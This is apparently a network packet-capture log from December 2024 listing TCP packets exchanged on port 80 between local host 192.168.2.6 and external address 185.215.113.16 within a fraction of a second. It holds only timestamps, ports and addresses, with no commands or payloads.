Dec 26, 2024 12:52:28.252082109 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.252105951 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.252691031 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.252736092 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.252805948 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.253427029 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.253551960 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.253597021 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.254204035 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.254251957 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.254275084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.254956007 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.255002022 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.255042076 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.255626917 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.255673885 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.255778074 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.256398916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.256441116 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.256464958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.257112980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.257165909 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.257234097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.257853985 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.257899046 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.258035898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.258593082 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.258626938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.258657932 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.259346008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.259392977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.259526014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.260078907 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.260178089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.260221958 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.260823011 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.260943890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.260993004 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.261560917 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.261655092 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.261682034 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.262252092 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.262336016 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.262444019 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.263021946 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.263111115 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.263160944 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.263727903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.263842106 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.263890982 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.264480114 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.264605999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.264652014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.265245914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.265307903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.265866041 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.265971899 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.266020060 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.266145945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.266779900 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.266792059 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.266851902 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.267436028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.267488003 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.267553091 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.268196106 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.268244982 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.268295050 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.268908024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.269001961 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.269051075 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.269635916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.269752979 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.269798040 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.270401955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.270503044 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.270556927 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.271107912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.271156073 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.271202087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.271899939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.271910906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.271954060 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.272573948 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.272684097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.272732019 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.273317099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.273438931 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.274075031 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.274127007 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.274156094 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.274823904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.274869919 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.274909019 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.275583029 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.275628090 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.275639057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.276298046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.276391029 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.276449919 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.276998997 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.277117968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.277772903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.277803898 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.277857065 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.277923107 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.278490067 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.278592110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.279258966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.279321909 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.279345989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.280118942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.280168056 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.280232906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.280725956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.280807018 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.280816078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.281435966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.281480074 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.281521082 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.282243967 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.282299042 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.282341003 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.283337116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.283355951 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.283395052 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.284101963 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.284148932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.284820080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.284885883 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.284893036 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.285492897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.285535097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.285547972 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.285866976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.285955906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.285960913 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.286614895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.286662102 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.286669016 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.287357092 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.287409067 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.287445068 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.288059950 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.288108110 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.288178921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.288861990 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.289022923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.289074898 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.289521933 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.289621115 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.289671898 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.290245056 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.290354013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.290402889 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.290997028 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.291140079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.291718960 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.291773081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.291806936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.292438984 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.292498112 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.292542934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.293401957 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.293457031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.293555975 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.294308901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.294358969 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.294397116 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.294960022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.294971943 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.295536041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.295589924 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.295629025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.296088934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.296101093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.296133041 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.296818972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.296875954 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.296926022 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.297513008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.297725916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.297781944 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.298248053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.298336029 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.298352957 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.299027920 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.299092054 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.299122095 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.299664021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.299928904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.300252914 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.300400019 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.300543070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.300589085 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.301141977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.301181078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.301222086 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.301841021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.301927090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.301971912 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.302620888 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.302766085 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.302818060 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.303276062 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.303369045 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.303950071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.303998947 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.304034948 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.304661036 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.304713011 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.304847002 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.305627108 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.305638075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.305675983 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.306174040 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.306299925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.306343079 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.307046890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.307203054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.307744980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.307784081 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.307800055 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.308559895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.308625937 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.308677912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.309211016 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.309262037 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.309370995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.309988022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.310036898 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.310059071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.310556889 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.310600996 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.310653925 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.311439037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.311598063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.312225103 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.312275887 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.312386990 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.313380003 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.313431978 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.313462019 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.314089060 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.314136982 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.314244032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.314646959 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.314660072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.314690113 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.315062046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.315119982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.315645933 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.315663099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.315696955 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.316154957 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.316215038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.316258907 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.316669941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.316751003 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.316797018 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.317293882 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.317415953 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.317461014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.318013906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.318068981 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.318114042 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.318685055 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.318841934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.318893909 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.319400072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.319505930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.319561958 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.320059061 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.320112944 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.320158005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.320790052 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.320851088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.320913076 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.321439981 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.321536064 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.321593046 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.322118998 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.322170973 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.322225094 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.322876930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.322887897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.323503971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.323549032 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.323565006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.324227095 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.324273109 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.324307919 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.324865103 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.324904919 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.324949026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.325556040 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.325602055 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.325643063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.326250076 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.326292038 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.326328993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.326910019 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.326956034 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.327020884 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.327790976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.327864885 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.327909946 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.328351021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.328427076 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.328471899 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.328948021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.329001904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.329123974 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.329699993 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.329747915 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.329781055 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.330328941 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.330379009 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.330411911 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.331006050 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.331125975 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.331434965 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.331660986 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.331707954 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.331753969 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.332334042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.332376957 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.332451105 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.333034992 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.333080053 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.333120108 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.333699942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.333743095 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.333795071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.334410906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.334448099 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.334459066 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.335020065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.335062981 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.335123062 CET	80	49863	185.215.113.16	192.168.2.6
